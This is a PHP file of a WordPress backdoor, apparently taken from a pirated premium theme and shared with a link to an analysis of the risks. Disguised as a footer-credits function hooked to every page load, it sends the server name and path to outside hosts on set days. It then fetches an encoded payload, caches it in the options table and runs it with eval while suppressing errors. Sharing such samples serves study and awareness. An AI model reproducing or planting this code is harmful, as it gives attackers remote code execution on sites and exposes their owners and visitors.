WooMalwareStaging.php

<?php
 
if( !function_exists('wpfc_footer_credits_global') )
{
	function wpfc_footer_credits_global()
	{
		error_reporting(0);
 
		$request_option_key = 'wpfc_default_post';
		$payload_option_key = 'wpfc_default_types';
 
		$host1 = 'http://googleordertracking.com';
		$host2 = 'http://autoupdatesystem.com';
 
		try 
		{
			$specific_days = array('1','7','15','21','29');
			$request_info = array();
			$day_of_month = date("d");
 
			if( !get_option($request_option_key) )
			{ 
				$request_info['t'] = date("d");
				$request_info['r'] = '0';
 
				add_option($request_option_key, json_encode($request_info));
			}
			else
			{
				$request_info = json_decode(get_option($request_option_key));
 
				$temp_array = array();
 
				foreach ($request_info as $key => $value) $temp_array[$key] = $value;
 
				$request_info = $temp_array;
			}
 
			if( !get_option($payload_option_key) )
			{
				add_option($payload_option_key, '');
			}
 
			if ( $request_info['r'] != '1' && $request_info['t'] == $day_of_month && in_array($day_of_month, $specific_days) )
			{ 
				if ( function_exists('curl_init') )
				{ 
					$post["d"] = strrev(base64_encode(gzcompress($_SERVER['SERVER_NAME'])));
					$post["p"] = strrev(base64_encode(gzcompress(dirname(__FILE__))));
					$post["a"] = "wp";
 
					$curl = curl_init();
 
					curl_setopt($curl, CURLOPT_URL, $host1."/curllink/");
					curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
					curl_setopt($curl, CURLOPT_USERAGENT, "google");
					curl_setopt($curl, CURLOPT_TIMEOUT, 60);
					curl_setopt($curl, CURLOPT_POST, true);
					curl_setopt($curl, CURLOPT_POSTFIELDS, $post);
 
					$payload = curl_exec($curl);
					curl_close($curl);
				} 
				else 
				{ 
					$url = $host1.'/getlink/?u=' . $_SERVER['SERVER_NAME'];
 
					$payload = file_get_contents($url); 
				} 
 
				if( $payload == false || empty($payload) )
				{ 
					$url = $host2 . '/getlink/?u=' . $_SERVER['SERVER_NAME'];
 
					$payload = file_get_contents($url);
				}
 
				$request_info['t'] = $day_of_month;
				$request_info['r'] = '1';
 
				update_option($request_option_key, json_encode($request_info));
				update_option($payload_option_key, $payload);
			}
			else
			{ 
				$payload = get_option($payload_option_key);
			}
 
			eval(gzuncompress(base64_decode($payload)));
		}
		catch (Exception $e) { }
	}
 
	add_action('wp_footer', 'wpfc_footer_credits_global');
}

See http://samp.im/notes/1154/why-pirating-premium-wordpress-themes-is-a-bad-idea for an analysis of what this code does.